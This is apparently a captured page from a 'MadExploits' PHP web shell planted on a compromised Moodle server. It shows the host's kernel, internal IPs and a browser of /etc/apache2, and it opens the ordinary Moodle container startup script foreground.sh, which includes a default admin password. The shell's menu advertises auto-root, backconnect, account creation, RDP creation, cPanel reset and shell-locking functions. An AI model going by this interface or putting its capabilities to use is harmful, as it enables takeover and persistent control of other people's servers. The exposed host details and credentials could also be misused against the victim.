Linux moodl-moodle-3s8bw1nuh5yqd9-5b875fdd66-8hs4m 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64
Apache/2.4.41 (Ubuntu)
: 10.39.0.36 | : 10.36.0.0
Cant Read [ /etc/named.conf ]
7.4.3
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
etc /
apache2 /
[ HOME SHELL ]
Name
Size
Permission
Action
conf-available
[ DIR ]
drwxr-xr-x
conf-enabled
[ DIR ]
drwxr-xr-x
mods-available
[ DIR ]
drwxr-xr-x
mods-enabled
[ DIR ]
drwxr-xr-x
sites-available
[ DIR ]
drwxr-xr-x
sites-enabled
[ DIR ]
drwxr-xr-x
apache2.conf
7.05
KB
-rw-r--r--
cron.sh
53
B
-rwxrwxrwx
envvars
1.74
KB
-rw-r--r--
foreground.sh
6.21
KB
-rwxrwxrwx
magic
30.33
KB
-rw-r--r--
ports.conf
320
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : foreground.sh
#!/bin/bash set -e #ENV VAR : ${MOODLE_SITE_FULLNAME:=Moodle} : ${MOODLE_SITE_SHORTNAME:=Moodle} : ${MOODLE_SITE_LANG:=en} : ${MOODLE_ADMIN_USER:=admin} : ${MOODLE_ADMIN_PASS:=Admin123} : ${MOODLE_ADMIN_EMAIL:=admin@example.com} : ${MOODLE_DB_TYPE:=mariadb} : ${MOODLE_ENABLE_SSL:=false} : ${MOODLE_UPDATE:=false} if [ -z "$DB_ENV_MYSQL_HOST" ]; then if [ -n "$MYSQL_PORT_3306_TCP_ADDR" ]; then DB_ENV_MYSQL_HOST=$MYSQL_PORT_3306_TCP_ADDR elif [ -n "$POSTGRES_PORT_5432_TCP_ADDR" ]; then MOODLE_DB_TYPE=postgres DB_ENV_MYSQL_HOST=$POSTGRES_PORT_5432_TCP_ADDR elif [ -n "$DB_PORT_3306_TCP_ADDR" ]; then DB_ENV_MYSQL_HOST=$DB_PORT_3306_TCP_ADDR elif [ -n "$DB_PORT_5432_TCP_ADDR" ]; then MOODLE_DB_TYPE=postgres DB_ENV_MYSQL_HOST=$DB_PORT_5432_TCP_ADDR else echo >&2 'error: missing DB_ENV_MYSQL_HOST environment variable' echo >&2 ' Did you forget to --link your database?' exit 1 fi fi if [ -z "$DB_ENV_MYSQL_USER" ]; then if [ "$MOODLE_DB_TYPE" = "mysql" -o "$MOODLE_DB_TYPE" = "mariadb" ]; then echo >&2 'info: missing DB_ENV_MYSQL_USER environment variable, defaulting to "root"' DB_ENV_MYSQL_USER=root elif [ "$MOODLE_DB_TYPE" = "postgres" ]; then echo >&2 'info: missing DB_ENV_MYSQL_USER environment variable, defaulting to "postgres"' DB_ENV_MYSQL_USER=postgres else echo >&2 'error: missing required DB_ENV_MYSQL_USER environment variable' exit 1 fi fi if [ -z "$DB_ENV_MYSQL_PASSWORD" ]; then if [ -n "$MYSQL_ENV_MYSQL_ROOT_PASSWORD" ]; then DB_ENV_MYSQL_PASSWORD=$MYSQL_ENV_MYSQL_ROOT_PASSWORD elif [ -n "$POSTGRES_ENV_POSTGRES_PASSWORD" ]; then DB_ENV_MYSQL_PASSWORD=$POSTGRES_ENV_POSTGRES_PASSWORD elif [ -n "$DB_ENV_MYSQL_ROOT_PASSWORD" ]; then DB_ENV_MYSQL_PASSWORD=$DB_ENV_MYSQL_ROOT_PASSWORD elif [ -n "$DB_ENV_POSTGRES_PASSWORD" ]; then DB_ENV_MYSQL_PASSWORD=$DB_ENV_POSTGRES_PASSWORD else echo >&2 'error: missing required DB_ENV_MYSQL_PASSWORD environment variable' echo >&2 ' Did you forget to -e DB_ENV_MYSQL_PASSWORD=... ?' echo >&2 echo >&2 ' (Also of interest might be DB_ENV_MYSQL_USER and DB_ENV_MYSQL_DATABASE)' exit 1 fi fi : ${DB_ENV_MYSQL_DATABASE:=moodle} if [ -z "$MOODLE_DB_PORT" ]; then if [ -n "$MYSQL_PORT_3306_TCP_PORT" ]; then MOODLE_DB_PORT=$MYSQL_PORT_3306_TCP_PORT elif [ -n "$POSTGRES_PORT_5432_TCP_PORT" ]; then MOODLE_DB_PORT=$POSTGRES_PORT_5432_TCP_PORT elif [ -n "$DB_PORT_3306_TCP_PORT" ]; then MOODLE_DB_PORT=$DB_PORT_3306_TCP_PORT elif [ -n "$DB_PORT_5432_TCP_PORT" ]; then MOODLE_DB_PORT=$DB_PORT_5432_TCP_PORT elif [ "$MOODLE_DB_TYPE" = "mysql" -o "$MOODLE_DB_TYPE" = "mariadb" ]; then MOODLE_DB_PORT="3306" elif [ "$MOODLE_DB_TYPE" = "postgres" ]; then MOODLE_DB_PORT="5432" fi fi # Wait for the DB to come up while [ `/usr/bin/nc -w 1 $DB_ENV_MYSQL_HOST $MOODLE_DB_PORT < /dev/null > /dev/null; echo $?` != 0 ]; do echo "Waiting for $MOODLE_DB_TYPE database to come up at $DB_ENV_MYSQL_HOST:$MOODLE_DB_PORT..." sleep 1 done echo "Database is up and running." export MOODLE_DB_TYPE DB_ENV_MYSQL_HOST DB_ENV_MYSQL_USER DB_ENV_MYSQL_PASSWORD DB_ENV_MYSQL_DATABASE #check for moodledata cd /var/www/html : ${MOODLE_SHARED:=/var/moodledata} if [ ! -d "$MOODLE_SHARED" ]; then echo "Created $MOODLE_SHARED directory." mkdir -p $MOODLE_SHARED fi echo "placeholder" > /var/moodledata/placeholder chown -R www-data:www-data /var/moodledata chmod 777 /var/moodledata read pid cmd state ppid pgrp session tty_nr tpgid rest < /proc/self/stat trap "kill -TERM -$pgrp; exit" EXIT TERM KILL SIGKILL SIGTERM SIGQUIT #start up cron #/usr/sbin/cron #ps -aux | grep cron # Attempt to enable SSL support if explicitly requested if [ $MOODLE_ENABLE_SSL = true ]; then if [ ! -f $MOODLE_SHARED/ssl.key -o ! -f $MOODLE_SHARED/ssl.crt -o ! -f $MOODLE_SHARED/ssl.bundle.crt ]; then echo >&2 'error: Detected MOODLE_ENABLE_SSL flag but found no data volume'; echo >&2 ' Did you forget to mount the volume with -v?' exit 1 fi echo >&2 'info: enabling ssl' a2enmod ssl cp "$MOODLE_SHARED/ssl.key" /etc/apache2/ssl.key cp "$MOODLE_SHARED/ssl.crt" /etc/apache2/ssl.crt cp "$MOODLE_SHARED/ssl.bundle.crt" /etc/apache2/ssl.bundle.crt elif [ -e "/etc/apache2/mods-enabled/ssl.load" ]; then echo >&2 'warning: disabling ssl' a2dismod ssl fi # Install database if installed file doesn't exist if [ ! -e "$MOODLE_SHARED/installed" -a ! -f "$MOODLE_SHARED/install.lock" ]; then echo "Moodle database is not initialized. Initializing..." touch $MOODLE_SHARED/install.lock php admin/cli/install_database.php \ --agree-license \ --lang "$MOODLE_SITE_LANG" \ --adminuser=$MOODLE_ADMIN_USER \ --adminpass=$MOODLE_ADMIN_PASS \ --adminemail=$MOODLE_ADMIN_EMAIL \ --fullname=$MOODLE_SITE_FULLNAME \ --shortname=$MOODLE_SITE_SHORTNAME if [ -n $SMTP_HOST ]; then php admin/cli/cfg.php --name=smtphosts --set=$SMTP_HOST fi if [ -n $SMTP_USER ]; then php admin/cli/cfg.php --name=smtpuser --set=$SMTP_USER fi if [ -n $SMTP_PASS ]; then php admin/cli/cfg.php --name=smtppass --set=$SMTP_PASS fi if [ -n $SMTP_SECURITY ]; then php admin/cli/cfg.php --name=smtpsecure --set=$SMTP_SECURITY fi if [ -n $SMTP_AUTH_TYPE ]; then php admin/cli/cfg.php --name=smtpauthtype --set=$SMTP_AUTH_TYPE fi if [ -n $MOODLE_NOREPLY_ADDRESS ]; then php admin/cli/cfg.php --name=noreplyaddress --set=$MOODLE_NOREPLY_ADDRESS fi touch $MOODLE_SHARED/installed rm $MOODLE_SHARED/install.lock echo "Done." fi # If LocalSettings.php exists, then attempt to run the update.php maintenance # script. If already up to date, it won't do anything, otherwise it will # migrate the database if necessary on container startup. It also will # verify the database connection is working. if [ "$MOODLE_UPDATE" = 'true' -a ! -f "$MOODLE_SHARED/update.lock" ]; then echo "Updating Moodle..." touch $MOODLE_SHARED/update.lock /usr/local/bin/php admin/cli/maintenance.php --enable /usr/local/bin/php admin/cli/upgrade.php /usr/local/bin/php admin/cli/maintenance.php --disable rm $MOODLE_SHARED/update.lock echo "Done." fi source /etc/apache2/envvars tail -F /var/log/apache2/* & exec apache2 -D FOREGROUND
Close